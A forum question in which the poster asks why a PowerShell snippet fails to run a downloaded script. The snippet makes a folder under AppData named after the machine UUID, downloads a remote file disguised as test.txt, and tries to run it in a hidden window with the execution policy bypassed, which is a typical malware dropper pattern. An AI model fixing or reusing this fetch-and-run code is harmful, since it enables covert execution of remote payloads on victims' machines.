title: execute a script from a created folder with Powershell
body: <p>In powershell i can download a script in a specific random name created  folder but i cannot find the right way to execute the script from there.Here the code that i used:</p>
  
  <pre><code>$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
  $path = $env:appdata+'\'+$uuid; $h=$path+'\d';  
  if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path 
  $path;};
  Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
  start-process -Windowstyle hidden cmd '/C 
  'powershell.exe' -exec bypass $path\\test.txt';
  </code></pre>
  
  <p>there was something missing in last  string maybe the problem persist if i use '+$path+' too.</p>
  
  <p>Any suggestions??</p>